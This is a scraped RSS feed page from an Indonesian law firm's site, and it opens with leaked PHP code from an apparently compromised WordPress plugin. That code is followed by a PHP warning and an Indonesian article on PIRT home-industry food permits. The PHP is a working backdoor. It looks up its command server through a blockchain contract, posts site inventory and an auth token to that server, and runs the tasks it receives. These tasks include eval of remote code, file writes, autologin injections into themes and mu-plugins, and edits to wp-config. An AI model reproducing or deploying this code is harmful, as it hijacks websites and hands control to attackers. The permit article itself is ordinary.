// vb_ac
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/home/iglolawc/public_html/wp-content/plugins/hseo/hseo.php',
'ctrl'=>'// vb_ac',
'vis'=>'// 3i_xl',
'vis_func'=>'wp_f246md',
'vis_paths'=>array('/home/iglolawc/public_html/wp-content/plugins/hseo/hseo.php'),
'opt'=>'_wp_n3vlj62t',
);
$keys=array();
$keys['id']='3xq';
$keys['ver']='hc';
$keys['caps']='nhs';
$keys['tasks']='585';
$keys['interval']='z5s';
$keys['ack_id']='hk4';
$keys['ok']='13';
$keys['detail']='r7a';
$keys['inv']='vt2';
$keys['result']='5v3';
$hdr='X-B2M-Auth';$tok='gOuvKE2vloxGxtn7ZqnZ750fUap8gCA_JZ1AKkQNCqI';$id='505ce43efd4f8a1b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Warning: Cannot modify header information - headers already sent by (output started at /home/iglolawc/public_html/wp-content/plugins/hseo/hseo.php:560) in /home/iglolawc/public_html/wp-includes/feed-rss2.php on line 8
Apa Itu PIRT dan Cara Mengurus Izinnya was first published in Indonesia Global Law Firm.
]]>Izin PIRT adalah istilah yang lebih umum dikenal untuk SPP-IRT. SPP-IRT sendiri singkatan untuk Standar Pemenuhan Komitmen Produksi Pangan Industri Rumah Tangga (Lampiran PP no 5 tahun 2021).
SPP-IRT atau PIRT dikeluarkan oleh bupati atau walikota melalui dinas kesehatan sebagai tanda bahwa suatu produk pangan industri rumah tangga telah memenuhi syarat untuk diproduksi dan diedarkan dalam wilayah kekuasaan bupati/walikota yang mengeluarkan PIRT tersebut (lihat pasal 43 PP no 28 tahun 2004).
Tidak semua produk pangan dapat menggunakan PIRT sebagai izin produksi dan edar. Hanya jenis pangan di bawah ini yang dapat diproduksi dan diedarkan menggunakan PIRT. Pangan yang tidak terdapat di daftar di bawah harus memiliki Sertifikat Pendaftaran Pangan Olahan yang dikeluarkan oleh Badan Pengawasan Obat-obatan dan Makanan (BPOM MD) sebagai izin edar.
Izin edar PIRT melekat pada jenis produk bukan badan usahanya. Jika pelaku usaha menghasilkan beberapa jenis produk dari satu sarana produksi yang sama, maka pelaku usaha perlu mendaftarkan semua varian produk yang dihasilkan agar petugas Dinas Kesehatan dapat memberikan kode nomor P-IRT yang sesuai untuk masing-masing produk.
Sesuai namanya, hanya industri yang berskala rumah tangga yang dapat mengajukan PIRT. Selain itu produk-produknya juga terbatas pada yang tercantum di daftar di bawah ini (sumber: Lampiran II Peraturan BPOM no 22 tahun 2018).
Hasil Olahan Daging Kering
Hasil Olahan Ikan Kering
Hasil Olahan Unggas Kering
Sayur Asin dan Sayur Kering
Hasil Olahan Kelapa
Tepung dan Hasil Olahannya
Minyak dan Lemak
Selai, Jeli dan Sejenisnya
Gula, Kembang Gula dan Madu
Kopi, Teh, Coklat Kering atau Campurannya
Bumbu
Rempah-rempah
Minuman Ringan, Minuman Serbuk
Hasil Olahan Buah
Hasil Olahan Biji-bijian dan Umbi
Es Lain-lain
Selama produk pangan yang hendak dipasarkan termasuk dalam daftar di atas siapa pun dapat mengajukan PIRT (baik perseorangan maupun badan usaha seperti CV serta badan hukum seperti PT).
Selain itu, jenis pangan di bawah ini juga dapat didaftarkan SPP-IRT:
Pemilik usaha pangan dengan hasil usaha produk beralkohol, produk susu atau olahan susu, produk yang dikemas dalam bentuk kaleng, menggunakan Bahan Tambahan pangan untuk memperpanjang masa kadaluarsa, produk pangan khusus dengan klaim tertentu (disertai klaim sebagai makanan untuk program diet tertentu, makanan pendamping ASI, makanan bayi, makanan untuk lansia, dsb) tidak dapat menggunakan SPP-IRT sebagai izin edar, melainkan harus berupa Sertifikat Pendaftaran Pangan Olahan yang dikeluarkan oleh Badan Pengawasan Obat-obatan dan Makanan (BPOM MD).
Produk pangan olahan dengan kriteria di bawah ini tidak wajib memiliki izin edar BPOM dan PIRT:
Produk pangan di bawah ini harus menggunakan izin BPOM dan tidak boleh didaftarkan menggunakan PIRT:
Menurut pasal 2 Peraturan BPOM nomor 22 tahun 2018, pengusaha industri rumah tangga yang ingin mendapatkan ijin PIRT harus memenuhi syarat sebagai berikut:


Untuk memulai siapkan dokumen-dokumen sebagai berikut sebagai syarat pengajuan PIRT:
Setelah menyiapkan dokumen-dokumen di atas Anda dapat melanjutkan dengan:
Pemerintah tidak mengenakan biaya untuk mendapatkan PIRT namun Anda tetap harus membayar biaya uji sampel bahan baku di laboratorium. Biaya uji sampel ini tergantung pada laboratorium dan sampel yang perlu diuji.
Masa berlaku izin PIRT dipengaruhi hal-hal berikut.
Jangka waktu
Izin PIRT berlaku paling lama 5 (lima) tahun terhitung sejak tanggal penerbitan dan dapat diperpanjang paling lambat 6 (enam) bulan sebelum masa berlakunya berakhir serta selama memenuhi persyaratan.
Skala produksi
Selain itu jika lokasi rumah tangga sudah tidak memadai lagi sebagai tempat produksi dan perlu pindah ke lokasi yang lebih besar di luar rumah tinggal maka PIRT yang dimiliki tidak berlaku lagi dan pemilik usaha harus mengajukan sertifikasi BPOM sebagai izin edar. Hal ini juga berlaku walaupun skala usahanya masih berada pada kategori UKM (omzet sampai Rp 50 milyar per tahun menurut UU No. 20/2008) tentang Usaha Mikro, Kecil, dan Menengah, sebagaimana telah diubah dengan UU No 11 Tahun 2020 tentang Cipta Kerja
Wilayah pemasaran
Izin PIRT hanya berlaku untuk distribusi dan produksi di wilayah yang mengeluarkan izin. Jika Anda ingin mendistribusikan dan memperluas lebih luas Anda harus mengajukan permohonan izin edar dari BPOM.
Perbedaan izin PIRT dan BPOM terletak pada kriteria di bawah ini:
Lokasi usaha
Produksi pangan olahan
Jenis pangan
Kewenangan
Ijin PIRT memungkinkan para pengusaha industri rumah tangga untuk memproduksi dan mendistribusikan produk pangan olahannya secara lebih luas. Kepemilikan izin ini juga merupakan jaminan bahwa produk yang dimiliki aman dan layak dikonsumsi.
Photo by Joanna Derks on Unsplash
Apa Itu PIRT dan Cara Mengurus Izinnya was first published in Indonesia Global Law Firm.
]]>